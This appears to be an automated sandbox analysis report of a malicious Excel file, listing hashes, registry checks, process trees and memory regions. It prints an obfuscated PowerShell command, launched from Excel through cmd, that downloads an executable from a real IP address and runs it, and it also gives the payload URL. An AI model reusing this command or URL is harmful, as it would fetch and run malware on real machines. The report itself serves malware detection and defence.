Analysis
-
max time kernel
140s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
15-04-2024 17:46
Behavioral task
behavioral1
Sample
f1a0dc40b455647ef7fa4e9b9c009469_JaffaCakes118.xls
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
f1a0dc40b455647ef7fa4e9b9c009469_JaffaCakes118.xls
Resource
win10v2004-20240226-en
General
-
Target
f1a0dc40b455647ef7fa4e9b9c009469_JaffaCakes118.xls
-
Size
168KB
-
MD5
f1a0dc40b455647ef7fa4e9b9c009469
-
SHA1
42621f4cd2ad7f0de4140ac63845b8826e6e978c
-
SHA256
122fd6ba7eaff6999bceced392b909939a14c82ef7a562d630772eaf33a6fbe9
-
SHA512
70c162ba06a64878b1c9c683d334ad0a2c00f3de02155ce110395914cbc346e7158b425f61baf0d38f33ae221c5abb592af84c2927988ee092f17ca407b24a15
-
SSDEEP
3072:5k3hOdsylKlgryzc4bNhZFGzE+cL2knAQKKWXQ3kl/GVMfliRx4J2iSAqsaHHIaQ:5k3hOdsylKlgryzc4bNhZF+E+W2knAQV
Malware Config
Extracted
http://3.64.251.139/v11/1/TDH_71036210065IMG.exe
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4992 3540 cmd.exe EXCEL.EXE -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3540 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 896 powershell.exe 896 powershell.exe 896 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 896 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3540 EXCEL.EXE 3540 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 15 IoCs
Processes:
EXCEL.EXEpid process 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE 3540 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
EXCEL.EXEcmd.exedescription pid process target process PID 3540 wrote to memory of 4992 3540 EXCEL.EXE cmd.exe PID 3540 wrote to memory of 4992 3540 EXCEL.EXE cmd.exe PID 4992 wrote to memory of 896 4992 cmd.exe powershell.exe PID 4992 wrote to memory of 896 4992 cmd.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f1a0dc40b455647ef7fa4e9b9c009469_JaffaCakes118.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\frontserve.cmd" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://3.64.251.139/v11/1/TDH_71036210065IMG.e`xe -Destination C:\Users\Public\Documents\minutesister.e`xe;C:\Users\Public\Documents\minutesister.e`xe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4120 --field-trial-handle=2280,i,4114443225282860369,4764091921472631035,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w4hlyvy0.aul.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Public\Documents\frontserve.cmdFilesize
214B
MD5a23edc137db35751f190e5f396f182ff
SHA1ce2ed69a3d03d6d351227c0a24a8a0a2b27af8df
SHA256e88aa47b0ad9a5ea3aa480cf3fa6a8bfa6754a716bcaae809d1327d20384418f
SHA5124390c554824125ecad23e728765a942e9f74d3cf71832c8395609859e3cb715d69b2128bdfba93cd473909401943a1e1070c63e62206cfcbe83e41051cea2c11
-
memory/896-70-0x000002826D7E0000-0x000002826D7F0000-memory.dmpFilesize
64KB
-
memory/896-57-0x000002826D7E0000-0x000002826D7F0000-memory.dmpFilesize
64KB
-
memory/896-56-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmpFilesize
10.8MB
-
memory/896-79-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmpFilesize
10.8MB
-
memory/896-76-0x000002826D7E0000-0x000002826D7F0000-memory.dmpFilesize
64KB
-
memory/896-72-0x000002826DC60000-0x000002826DC74000-memory.dmpFilesize
80KB
-
memory/896-51-0x000002826D7A0000-0x000002826D7C2000-memory.dmpFilesize
136KB
-
memory/896-71-0x000002826DC10000-0x000002826DC36000-memory.dmpFilesize
152KB
-
memory/896-69-0x000002826D7E0000-0x000002826D7F0000-memory.dmpFilesize
64KB
-
memory/896-68-0x000002826D7E0000-0x000002826D7F0000-memory.dmpFilesize
64KB
-
memory/896-67-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmpFilesize
10.8MB
-
memory/896-58-0x000002826D7E0000-0x000002826D7F0000-memory.dmpFilesize
64KB
-
memory/3540-15-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-64-0x000001BF1C380000-0x000001BF1D350000-memory.dmpFilesize
15.8MB
-
memory/3540-16-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-17-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-18-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-19-0x00007FFD1CD90000-0x00007FFD1CDA0000-memory.dmpFilesize
64KB
-
memory/3540-1-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmpFilesize
64KB
-
memory/3540-22-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-35-0x000001BF1C380000-0x000001BF1D350000-memory.dmpFilesize
15.8MB
-
memory/3540-37-0x000001BF1C380000-0x000001BF1D350000-memory.dmpFilesize
15.8MB
-
memory/3540-41-0x000001BF1C380000-0x000001BF1D350000-memory.dmpFilesize
15.8MB
-
memory/3540-3-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmpFilesize
64KB
-
memory/3540-20-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-8-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-97-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-14-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-13-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-59-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-61-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-2-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-65-0x000001BF1C380000-0x000001BF1D350000-memory.dmpFilesize
15.8MB
-
memory/3540-66-0x000001BF1C380000-0x000001BF1D350000-memory.dmpFilesize
15.8MB
-
memory/3540-12-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-11-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-10-0x00007FFD1CD90000-0x00007FFD1CDA0000-memory.dmpFilesize
64KB
-
memory/3540-0-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmpFilesize
64KB
-
memory/3540-9-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-7-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-6-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmpFilesize
64KB
-
memory/3540-5-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmpFilesize
64KB
-
memory/3540-90-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmpFilesize
64KB
-
memory/3540-91-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmpFilesize
64KB
-
memory/3540-93-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-95-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-94-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmpFilesize
64KB
-
memory/3540-96-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-92-0x00007FFD1F2D0000-0x00007FFD1F2E0000-memory.dmpFilesize
64KB
-
memory/3540-4-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB
-
memory/3540-98-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmpFilesize
2.0MB